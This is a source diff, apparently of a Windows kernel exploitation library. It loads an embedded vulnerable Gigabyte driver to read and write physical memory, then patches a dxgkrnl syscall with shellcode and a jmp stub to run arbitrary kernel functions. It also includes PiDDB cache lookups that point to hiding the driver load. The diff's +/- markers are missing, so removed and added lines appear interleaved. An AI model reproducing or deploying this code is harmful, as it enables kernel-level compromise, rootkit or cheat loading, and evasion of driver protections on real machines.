} pdpte, * ppdpte;
static_assert(sizeof(pdpte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
typedef union _pde
{
ULONG64 value;
std::uint64_t value;
struct
{
ULONG64 present : 1; // Must be 1, region invalid if 0.
ULONG64 rw : 1; // If 0, writes not allowed.
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed.
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PT.
ULONG64 page_cache : 1; // Determines the memory type used to access PT.
ULONG64 accessed : 1; // If 0, this entry has not been used for translation.
ULONG64 Ignored1 : 1;
ULONG64 page_size : 1; // If 1, this entry maps a 2MB page.
ULONG64 Ignored2 : 4;
ULONG64 pfn : 36; // The page frame number of the PT of this PDE.
ULONG64 Reserved : 4;
ULONG64 Ignored3 : 11;
ULONG64 nx : 1; // If 1, instruction fetches not allowed.
std::uint64_t present : 1; // Must be 1, region invalid if 0.
std::uint64_t rw : 1; // If 0, writes not allowed.
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PT.
std::uint64_t page_cache : 1; // Determines the memory type used to access PT.
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
std::uint64_t Ignored1 : 1;
std::uint64_t large_page : 1; // If 1, this entry maps a 2MB page.
std::uint64_t Ignored2 : 4;
std::uint64_t pfn : 36; // The page frame number of the PT of this PDE.
std::uint64_t Reserved : 4;
std::uint64_t Ignored3 : 11;
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
};
} pde, * ppde;
static_assert(sizeof(pde) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
typedef union _pte
{
ULONG64 value;
std::uint64_t value;
struct
{
ULONG64 present : 1; // Must be 1, region invalid if 0.
ULONG64 rw : 1; // If 0, writes not allowed.
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed.
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access the memory.
ULONG64 page_cache : 1; // Determines the memory type used to access the memory.
ULONG64 accessed : 1; // If 0, this entry has not been used for translation.
ULONG64 Dirty : 1; // If 0, the memory backing this page has not been written to.
ULONG64 PageAccessType : 1; // Determines the memory type used to access the memory.
ULONG64 Global : 1; // If 1 and the PGE bit of CR4 is set, translations are global.
ULONG64 Ignored2 : 3;
ULONG64 pfn : 36; // The page frame number of the backing physical page.
ULONG64 Reserved : 4;
ULONG64 Ignored3 : 7;
ULONG64 ProtectionKey : 4; // If the PKE bit of CR4 is set, determines the protection key.
ULONG64 nx : 1; // If 1, instruction fetches not allowed.
std::uint64_t present : 1; // Must be 1, region invalid if 0.
std::uint64_t rw : 1; // If 0, writes not allowed.
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access the memory.
std::uint64_t page_cache : 1; // Determines the memory type used to access the memory.
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
std::uint64_t Dirty : 1; // If 0, the memory backing this page has not been written to.
std::uint64_t PageAccessType : 1; // Determines the memory type used to access the memory.
std::uint64_t Global : 1; // If 1 and the PGE bit of CR4 is set, translations are global.
std::uint64_t Ignored2 : 3;
std::uint64_t pfn : 36; // The page frame number of the backing physical page.
std::uint64_t reserved : 4;
std::uint64_t Ignored3 : 7;
std::uint64_t ProtectionKey : 4; // If the PKE bit of CR4 is set, determines the protection key.
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
};
} pte, * ppte;
static_assert(sizeof(pte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T);
using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG);
using MmCopyMemory = NTSTATUS(__stdcall*)(PVOID, MM_COPY_ADDRESS, SIZE_T, ULONG, PSIZE_T);
using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(uintptr_t, size_t);
using ExAcquireResourceExclusiveLite = BOOLEAN(__stdcall*)(void*, bool);
using RtlLookupElementGenericTableAvl = PIDCacheobj * (__stdcall*) (void*, void*);
using RtlDeleteElementGenericTableAvl = bool(__stdcall*)(void*, void*);
using ExReleaseResourceLite = bool(__stdcall*)(void*);
using PsGetProcessSectionBaseAddress = void* (__fastcall*)(PEPROCESS);
struct pt_entries
{
std::pair<ppml4e, pml4e> pml4;
std::pair<ppdpte, pdpte> pdpt;
std::pair<ppde, pde> pd;
std::pair<ppte, pte> pt;
};

@ -10,16 +10,16 @@
#include <tlhelp32.h>
#include <array>
#include <algorithm>
#include <atomic>
#include "nt.hpp"
namespace util
{
//--- ranges of physical memory
inline std::map<std::uintptr_t, std::size_t> pmem_ranges;
//--- validates the address
inline bool is_valid(std::uintptr_t addr)
__forceinline auto is_valid(std::uintptr_t addr) -> bool
{
for (auto range : pmem_ranges)
if (addr >= range.first && addr <= range.first + range.second)
@ -48,12 +48,44 @@ namespace util
return true;
})();
inline std::uintptr_t get_module_base(const char* module_name)
__forceinline auto start_runtime_broker() -> std::uint32_t
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessA(
NULL,
"C:\\Windows\\System32\\RuntimeBroker.exe",
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
);
SuspendThread(pi.hThread);
return pi.dwProcessId;
}
__forceinline auto get_module_base(const char* module_name) -> std::uintptr_t
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
NTSTATUS status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
buffer,
buffer_size,
&buffer_size
);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
@ -81,38 +113,13 @@ namespace util
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
inline unsigned start_runtime_broker()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessA(
NULL,
"C:\\Windows\\System32\\RuntimeBroker.exe",
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
);
SuspendThread(pi.hThread);
return pi.dwProcessId;
return {};
}
inline PIMAGE_FILE_HEADER get_file_header(void* base_addr)
__forceinline auto get_file_header(void* base_addr) -> PIMAGE_FILE_HEADER
{
if (!base_addr || *(short*)base_addr != 0x5A4D)
return NULL;
if (!base_addr || *(short*)base_addr != IMAGE_DOS_SIGNATURE)
return {};
PIMAGE_DOS_HEADER dos_headers =
reinterpret_cast<PIMAGE_DOS_HEADER>(base_addr);
@ -124,9 +131,7 @@ namespace util
return &nt_headers->FileHeader;
}
// taken from:
// http://www.cplusplus.com/forum/windows/12137/
inline DWORD get_pid(const char* proc_name)
__forceinline auto get_pid(const char* proc_name) -> std::uint32_t
{
PROCESSENTRY32 proc_info;
proc_info.dwSize = sizeof(proc_info);
@ -155,25 +160,7 @@ namespace util
return NULL;
}
// this was taken from wlan's drvmapper:
// https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7
inline void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
{
std::ifstream fstr(file, std::ios::binary);
fstr.unsetf(std::ios::skipws);
fstr.seekg(0, std::ios::end);
const auto file_size = fstr.tellg();
fstr.seekg(NULL, std::ios::beg);
data.reserve(static_cast<uint32_t>(file_size));
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
}
// get base address of kernel module
//
// taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30
inline std::uintptr_t get_kernel_module_base(const char* module_name)
__forceinline auto get_kmodule_base(const char* module_name) -> std::uintptr_t
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
@ -209,10 +196,7 @@ namespace util
return NULL;
}
// get base address of kernel module
//
// taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30
inline void* get_module_export(const char* module_name, const char* export_name, bool rva = false)
__forceinline auto get_kmodule_export(const char* module_name, const char* export_name, bool rva = false) -> void*
{
void* buffer = nullptr;
DWORD buffer_size = 0;
@ -247,7 +231,8 @@ namespace util
std::string(getenv("SYSTEMROOT")).append("\\")
);
auto module_base = LoadLibraryEx(full_path.c_str(), NULL, DONT_RESOLVE_DLL_REFERENCES);
auto module_base = LoadLibraryExA(full_path.c_str(),
NULL, DONT_RESOLVE_DLL_REFERENCES);
PIMAGE_DOS_HEADER p_idh;
PIMAGE_NT_HEADERS p_inh;
PIMAGE_EXPORT_DIRECTORY p_ied;
@ -273,8 +258,8 @@ namespace util
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
// find exported function
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
{
if (!strcmp(export_name, (char*)module_base + name[i]))
{
if (!rva)
@ -292,11 +277,12 @@ namespace util
}
}
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
inline void* get_module_export(void* module_base, const char* export_name)
__forceinline auto get_kmodule_export(void* module_base, const char* export_name) -> void*
{
PIMAGE_DOS_HEADER p_idh;
PIMAGE_NT_HEADERS p_inh;
@ -323,126 +309,14 @@ namespace util
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
// find exported function
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
{
if (!strcmp(export_name, (char*)module_base + name[i]))
{
auto result = (void*)((std::uintptr_t)module_base + addr[ordinal[i]]);
return result;
}
return NULL;
}
namespace memory
{
template<std::size_t pattern_length>
inline std::uintptr_t pattern_scan_kernel(const char(&signature)[pattern_length], const char(&mask)[pattern_length])
{
static const auto kernel_addr =
LoadLibraryEx(
"ntoskrnl.exe",
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
static const auto p_idh = reinterpret_cast<PIMAGE_DOS_HEADER>(kernel_addr);
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
static const auto p_inh = reinterpret_cast<PIMAGE_NT_HEADERS>((LPBYTE)kernel_addr + p_idh->e_lfanew);
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
return NULL;
static auto current_section = reinterpret_cast<PIMAGE_SECTION_HEADER>(p_inh + 1);
static const auto first_section = current_section;
static const auto num_sec = p_inh->FileHeader.NumberOfSections;
static std::atomic<bool> ran_before = false;
//
// only run this once.
//
if (!ran_before.exchange(true))
for (; current_section < first_section + num_sec; ++current_section)
if (!strcmp(reinterpret_cast<char*>(current_section->Name), "PAGE"))
break;
static const auto page_section_begin =
reinterpret_cast<std::uint64_t>(kernel_addr) + current_section->VirtualAddress;
const auto pattern_view = std::string_view{
reinterpret_cast<char*>(page_section_begin),
current_section->SizeOfRawData
};
std::array<std::pair<char, char>, pattern_length - 1> pattern{};
for (std::size_t index = 0; index < pattern_length - 1; index++)
pattern[index] = { signature[index], mask[index] };
auto resultant_address = std::search(
pattern_view.cbegin(),
pattern_view.cend(),
pattern.cbegin(),
pattern.cend(),
[](char left, std::pair<char, char> right) -> bool {
return (right.second == '?' || left == right.first);
});
return resultant_address == pattern_view.cend() ? 0 : reinterpret_cast<std::uintptr_t>(resultant_address.operator->());
}
//
// be aware that this may not work for win8 or win7!
//
inline void* get_piddb_lock()
{
static const auto absolute_addr_instruction =
pattern_scan_kernel(
piddb_lock_sig,
piddb_lock_mask
);
static const auto ntoskrnl_in_my_process =
reinterpret_cast<std::uintptr_t>(GetModuleHandle("ntoskrnl.exe"));
if (!absolute_addr_instruction || !ntoskrnl_in_my_process)
return {};
const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3);
const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process;
static const auto kernel_base = util::get_module_base("ntoskrnl.exe");
if (!kernel_base)
return {};
return reinterpret_cast<void*>(kernel_base + real_rva);
}
//
// be aware that this may not work for win8 or win7!
//
inline void* get_piddb_table()
{
static const auto absolute_addr_instruction =
pattern_scan_kernel(
piddb_table_sig,
piddb_table_mask
);
static const auto ntoskrnl_in_my_process =
reinterpret_cast<std::uintptr_t>(GetModuleHandle("ntoskrnl.exe"));
if (!absolute_addr_instruction || !ntoskrnl_in_my_process)
return {};
const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3);
const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process;
static const auto kernel_base = util::get_module_base("ntoskrnl.exe");
if (!kernel_base)
return {};
return reinterpret_cast<void*>(kernel_base + real_rva);
}
}
}

File diff suppressed because it is too large Load Diff

@ -0,0 +1,142 @@
#pragma once
#include <windows.h>
#include <cstdint>
#include "../util/util.hpp"
#include "../util/loadup.hpp"
#include "raw_driver.hpp"
#define MAP_PHYSICAL 0xC3502004
#define UNMAP_PHYSICAL 0xC3502008
#pragma pack (push, 1)
typedef struct _gdrv_t
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t phys_addr;
unsigned long io_space;
unsigned long size;
} gdrv_t, *pgdrv_t;
#pragma pack (pop)
namespace vdm
{
inline HANDLE drv_handle;
__forceinline auto load_drv() -> std::pair <HANDLE, std::string>
{
const auto [result, key] =
driver::load(
vdm::raw_driver,
sizeof(vdm::raw_driver)
);
if (!result)
return { {}, {} };
vdm::drv_handle = CreateFileA(
"\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return { vdm::drv_handle, key };
}
__forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key)
{
return CloseHandle(drv_handle) && driver::unload(drv_key);
}
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
{
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
return false;
gdrv_t in_buffer;
in_buffer.bus = NULL;
in_buffer.interface_type = NULL;
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
in_buffer.io_space = NULL;
in_buffer.size = size;
void* out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<void*>(&in_buffer),
sizeof in_buffer,
out_buffer,
sizeof out_buffer,
&returned, NULL
))
return false;
__try
{
memcpy(buffer, out_buffer[0], size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<void*>(&out_buffer[0]),
sizeof out_buffer[0],
out_buffer,
sizeof out_buffer,
&returned, NULL
);
}
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
{
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
return false;
gdrv_t in_buffer;
in_buffer.bus = NULL;
in_buffer.interface_type = NULL;
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
in_buffer.io_space = NULL;
in_buffer.size = size;
void* out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<void*>(&in_buffer),
sizeof in_buffer,
out_buffer,
sizeof out_buffer,
&returned, NULL
))
return false;
__try
{
memcpy(out_buffer[0], buffer, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<void*>(&out_buffer[0]),
sizeof out_buffer[0],
out_buffer,
sizeof out_buffer,
&returned, NULL
);
}
}

@ -0,0 +1,93 @@
#include "vdm_ctx.h"
namespace vdm
{
vdm_ctx::vdm_ctx()
{
// already found the syscall's physical page...
if (vdm::syscall_address.load())
return;
LoadLibraryA("user32.dll"); // required for win32u.dll...
vdm::dxgkrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryExA("drivers\\dxgkrnl.sys", NULL,
DONT_RESOLVE_DLL_REFERENCES));
nt_rva = reinterpret_cast<std::uint32_t>(
util::get_kmodule_export(
"dxgkrnl.sys",
syscall_hook.first,
true
));
vdm::nt_page_offset = nt_rva % PAGE_4KB;
// for each physical memory range, make a thread to search it
std::vector<std::thread> search_threads;
for (auto ranges : util::pmem_ranges)
search_threads.emplace_back(std::thread(
&vdm_ctx::locate_syscall,
this,
ranges.first,
ranges.second
));
for (std::thread& search_thread : search_threads)
search_thread.join();
}
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
{
const auto page_data =
reinterpret_cast<std::uint8_t*>(
VirtualAlloc(
nullptr,
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
for (auto page = 0u; page < length; page += PAGE_4KB)
{
if (vdm::syscall_address.load())
break;
if (!vdm::read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
continue;
// check the first 32 bytes of the syscall, if its the same, test that its the correct
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
if (!memcmp(page_data + nt_page_offset, dxgkrnl_buffer + nt_rva, 32))
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
syscall_address.store(
reinterpret_cast<void*>(
address + page + nt_page_offset));
}
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
}
bool vdm_ctx::valid_syscall(void* syscall_addr) const
{
static std::mutex syscall_mutex;
syscall_mutex.lock();
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
// 0: 48 31 c0 xor rax, rax
// 3 : c3 ret
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
std::uint8_t orig_bytes[sizeof shellcode];
// save original bytes and install shellcode...
vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result == STATUS_SUCCESS;
}
}

@ -0,0 +1,113 @@
#pragma once
#include <windows.h>
#include <string_view>
#include <vector>
#include <thread>
#include <atomic>
#include <mutex>
#include "../vdm/vdm.hpp"
namespace vdm
{
// change this to whatever you want :^)
constexpr std::pair<const char*, const char*> syscall_hook = { "NtGdiDdDDICreateContext", "win32u.dll" };
inline std::atomic<bool> is_page_found = false;
inline std::atomic<void*> syscall_address = nullptr;
inline std::uint16_t nt_page_offset;
inline std::uint32_t nt_rva;
inline std::uint8_t* dxgkrnl_buffer;
class vdm_ctx
{
public:
vdm_ctx();
template <class T, class ... Ts>
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
{
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
static std::mutex syscall_mutex;
syscall_mutex.lock();
// jmp [rip+0x0]
std::uint8_t jmp_code[] =
{
0xff, 0x25, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00
};
std::uint8_t orig_bytes[sizeof jmp_code];
*reinterpret_cast<void**>(jmp_code + 6) = addr;
vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
// execute hook...
vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
auto result = reinterpret_cast<T>(proc)(args ...);
vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result;
}
template <class T>
__forceinline auto rkm(std::uintptr_t addr) -> T
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
T buffer;
this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T);
return buffer;
}
template <class T>
__forceinline void wkm(std::uintptr_t addr, const T& value)
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, (void*)addr, &value, sizeof T);
}
__forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
{
static const auto ntoskrnl_get_virtual =
util::get_kmodule_export(
"ntoskrnl.exe",
"MmGetVirtualForPhysical");
return this->syscall<MmGetVirtualForPhysical>(
ntoskrnl_get_virtual, addr);
}
__forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
{
static const auto ps_lookup_peproc =
util::get_kmodule_export(
"ntoskrnl.exe",
"PsLookupProcessByProcessId");
PEPROCESS peproc = nullptr;
this->syscall<PsLookupProcessByProcessId>(
ps_lookup_peproc,
(HANDLE)pid,
&peproc
);
return peproc;
}
private:
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
bool valid_syscall(void* syscall_addr) const;
};
}

Binary file not shown.
Loading…
Cancel
Save